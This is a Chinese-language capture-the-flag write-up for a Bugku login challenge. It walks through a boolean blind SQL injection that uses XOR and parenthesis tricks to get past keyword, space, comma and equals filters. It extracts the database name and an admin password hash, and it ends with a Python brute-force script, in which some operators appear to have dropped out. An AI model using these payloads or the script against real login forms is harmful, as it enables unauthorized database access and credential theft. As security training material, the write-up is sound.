WP-Bugku-login3(SKCTF)

题目地址http://118.89.219.210:49167/

username输入admin,结果是存在的,返回密码错误

admin后加上单引号,但是返回是使用者名称不存在

这意味着什么呢? 这说明即使语法错误,也不会在页面上显示报错资讯,

也就不能使用报错注入了,我们发现有两种返回资讯:

username does not exist!和password error!,那我们可以利用这两个返回值进行布林盲注。

毕竟我也是第一次接触到这种布林型盲注,也当是小白扫盲吧,怎么利用啰嗦几句。

我们猜测后台的验证应该是先查询我们输入的使用者名称是否存在,大概是:

select password,username from users where username=”我们输入的使用者名称”

如果我们在where语句的结尾加上一个and连线的布林判断语句,就可以根据返回值判断where条件是否成立,比如这道题就可以尝试补成

where username=’admin’ and (substring(database(),1,1)=’a’)

如果返回值是password error,那么就说明where语句是成立的,那么我们补充的那就也是成立的,那么就可以确定资料库的第一位是a,然后再猜测第二位。

但是这道题过滤了and! ! !

尝试加上and返回:
经过尝试发现还过滤了空格,逗号,等号,for

空格用括号代替,等号用<>(一种不等号)代替

那怎么办呢,这就用上了今天介绍的异或运算^,先说一下基本规则:

1^1=0 1^0=1 0^0=0

就是说只有两个不同的布林值运算结果为1,其他为零

不过在这里用的时候先不要按这个规则去推,因为在我们用到的三个值的布林运算的sql语句中完全相反,我还没有搞明白,谁懂得话,给我评论下。

首先说下这里我们要补上两个布林值,这个最后再说为什么。

先猜资料库名,基本语句

admin’^(ascii(mid(database()from(1)))<>97)^0#

解释一下为什么,为了绕过空格过滤,用括号隔开,过滤了等号,用不等号<>代替,只要是布林值就可以。 mid()函式和substring()一样,一种写法是mid(xxx,1,1),另一种是mid(xxx,from 1 for 1)但是这里过滤了for和逗号,那么怎么办呢?

这里用到了ascii()取ascii码值的函式,如果传入一个字串那么就会取第一个字元的字元的ascii码值,这就有了for的作用,并且mid()函式是可以只写from的表示从第几位往后的字串,我们将取出的字串在传入ascii()中取第一位,就完成了对单个字元的提取。

每个字元的ascii码判断是不是不等于给定的数字,会得到一个布林值(0或1)再与结尾的0进行运算。

如果资料库名的第一位的ascii码值不是97,where条件是username=’admin’^1^0

返回值是username does not exist!

如果资料库名的第一位的ascii码值是97,where条件是username=’admin’^0^0

返回值会是password error!

这就构成了布林报错注入。

有人可能疑问大部分的判断都是无用的,就是说可能从97尝试到120都是username does not exist!,那如何快速找到语句成立时的返回结果(password error!)。 这里就是最后^0的妙用了,

因为’admin’^0^0和’admin’^1^1是一样的,我们可以构造后者来看前者成立时的情况。

补充一点,因为这里既是语法错误也不会报错,有可能你输入的语句就不可能成立,但你也不知道,就很麻烦了,不过可以改变最后是^0还是^1,如果改不改返回值相同,那就是有语法错误,如果不同就可以参照上一段了。 这也是为什么要多加一个^0,看似多此一举,其实好处多多。

就是说admin’^(ascii(mid(database()from(1)))<>97)^1# 就可以得到password error!

资料库名最后可以得到是:blindsql

下一步猜表名,表名好像没法暴力猜,因为关键词information被禁了! ! ! ! 那资料库名就没用了,哈哈哈,不过后面猜栏位的值是一样的原理,不亏不亏。

没法用系统表,就不能像上面一样爆破了,真的是猜了,是admin表,语句如下

admin’^(select(1)from(admin))^1# 返回password error!说明猜对了

猜栏位 admin’^(select(count(password))from(admin))^1# 返回password error!说明猜对了。

为什么要用count()呢,因为如果有多行资料也可能会报错,会干扰判断。

然后猜password的值,暴力猜解,与猜资料库类似:

admin’^(ascii(mid((select(password)from(admin))from(1)))<>97)^0#

得到密码的MD5值:51b7a76d51e70b419f60d3473fb6f900,解密后登陆,得到flag

1
import requests str_all="1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ {} -*/=" url="http://118.89.219.210:49167/index.php" r=requests.session() def databasere(): resutlt="" for i in range(30): fla = 0 for j in str_all: playlod="admin'^(ascii(mid(database()from({})))<>{})^0#".format(str(i),ord(j)) data = { "username": playlod, "password": "123" } s=r.post(url,data) print(playlod) if "error" in s.text: resutlt =j print(resutlt) if fla == 0: break def password(): resutlt="" for i in range(40): fla=0 for j in str_all: playlod = "admin'^(ascii(mid((select(password)from(admin))from({})))<>{})^0#".format(str(i 1),ord(j)) data = { "username": playlod, "password": "123" } s=r.post(url,data) print(playlod) if "error" in s.text: resutlt =j fla=1 print('**************************',resutlt) if fla==0: break #databasere() password()
AbelChe wechat
扫码加微信
Donate here!!!
0%